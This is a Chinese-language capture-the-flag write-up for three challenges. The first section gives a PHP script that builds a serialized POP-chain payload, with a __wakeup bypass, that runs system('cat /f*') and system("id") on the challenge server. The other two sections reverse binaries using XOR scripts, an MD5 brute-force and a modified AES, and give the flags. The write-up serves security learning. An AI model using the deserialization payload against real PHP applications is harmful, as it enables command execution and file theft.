

Write up by 韩强

pop

访问hint.php拿到经过phpjm加密的文件，使用 <https://www.52pojie.cn/thread-794057-1-1.html> 代码解密.发现是个构造pop链的反序列化题目。

构造代码如下，构造完成后改一下sun的0:2为0:3 绕过__wakeup 即可。

```
<?php
class cat
{
    public $info;
    public $word;
    private $end = "echo 'meow';#";
}

class action_default
{
    public $action_info;
    public $action_head = " action work!";
    public $end = "#";
}

class Info
{
    public $actionaction;
    public $default;
}

class another_action
{
    public $aa1;
}

class sun
{
    public $dispatch;
    public $end;
}

$e = new sun();
$e->end='system(\'cat /f*\');';
$tmp = array('getup' => 'you_like_eval');
$e->dispatch = $tmp;
$d = new cat();
```

```

$d->info = $e;
$d->word = array('1','system("id");');
$b = new Info();
$b->actionaction = $d;
$a = new action_default();
$a->action_info=$b;
$z = new another_action();
$z->aa1= $a;
echo urlencode(serialize($z));

```

re

分析代码可知flag长度为42，形式是 `flag{xxx}`。分析 `sub_402C40` 函数可以知道在某些特定的位置对应的ascii码值是45，也就是 - (一眼uuid)。

然后题目程序对 - 去掉后的内容进行处理。其中前13个字符在 `sub_402CE0` 做了简单的异或操作。

逻辑就是奇数异或 `2*i`，偶数异或 `i`。简单计算得到前13个字符，脚本如下：

```

a = 'flag{aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa}'
tmp = []
for i in a:
    tmp.append(i)

v2 = 13
while v2<=28:
    tmp[v2]=chr(45)
    v2+=5
result = ['0']*32
v3 = ['0']*13
v3[0] = 'f';
v3[1] = '4';
v3[2] = '3';
v3[3] = '1';
v3[4] = '4';
v3[5] = '9';
v3[6] = '`';
v3[7] = '<';
v3[8] = '=';
v3[9] = '"';
v3[10] = 'h';
v3[11] = '!';
v3[12] = '8';
print(v3)
for i in range(13):
    if i % 2!=0:
        result[i] = ord(v3[i])^(2*i)
    else:
        result[i] = ord(v3[i])^i
print(result)

```

```

j = 0
for i in range(5, len(tmp)-1, 1):
    if j >= 13:
        break
    if tmp[i] != '-':
        tmp[i] = chr(result[j])
        # print(tmp)
        j += 1
print(tmp)
for i in tmp:
    print(i, end='')

```

后半部分内容的前18个字符做了一个MD5是否相等的对应值计算，但是只知道md5结果无法爆破。注意到在 `sub_403200` 中对 `ZjQ30DEzYzI2NTk0YzA=` 做了base64解码，根据动态调试发现这个解码后的结果对应的就是后半段中的前14个字符，于是就得到了后半段的前14个字符是 `f47813c26594c0`。而前面又知道了前18个字符的md5结果，于是简单爆破一下4个字符即可得到4个字符是 `e581`，脚本如下。

```

#!/usr/bin/env python3
from hashlib import sha256
import sys
from pwn import *
from pwnlib.util.iters import mbruteforce
import string

# prefixes = sys.argv[1]
prefixes = 'f47813c26594c0'
def brute(cur):

    content = prefixes + str(cur)
    s = hashlib.md5(content.encode())
    b = s.hexdigest()
    if b == '3fbac491c4740226ec9238c20b6d27d3':
        return True

    return False

mbruteforce(brute, string.ascii_lowercase+string.ascii_uppercase + string.digits, method =
'upto', length=4, threads = 20)

```

最后还剩一个字母，直接手动测试，发现是0，于是flag就是: `flag{f61703f2-50b7-4f47-813c-26594c0e5810}`。

SEA

这个题目没交上，比赛结束出的，感觉跟第一个题挺像。首先修改程序流跳转到exception部分执行真正的flag验证逻辑。分析代码发现flag括号里有26位，如果对应位置的值是x，前面10位的逻辑就是：

奇数位: $(x + 0x21) \wedge 0x16$

偶数位: $(x \wedge 0x19) - 0x12$

简单运算一下得到前10个字符。

后半段是一个魔改的AES，key和S box都改了一下，只需要把题目中的key和S box替换到代码中计算一下即可获得后16个字符。答案是: `flag{ETYt3eKw4nmMPfByjAQiqhClDT}`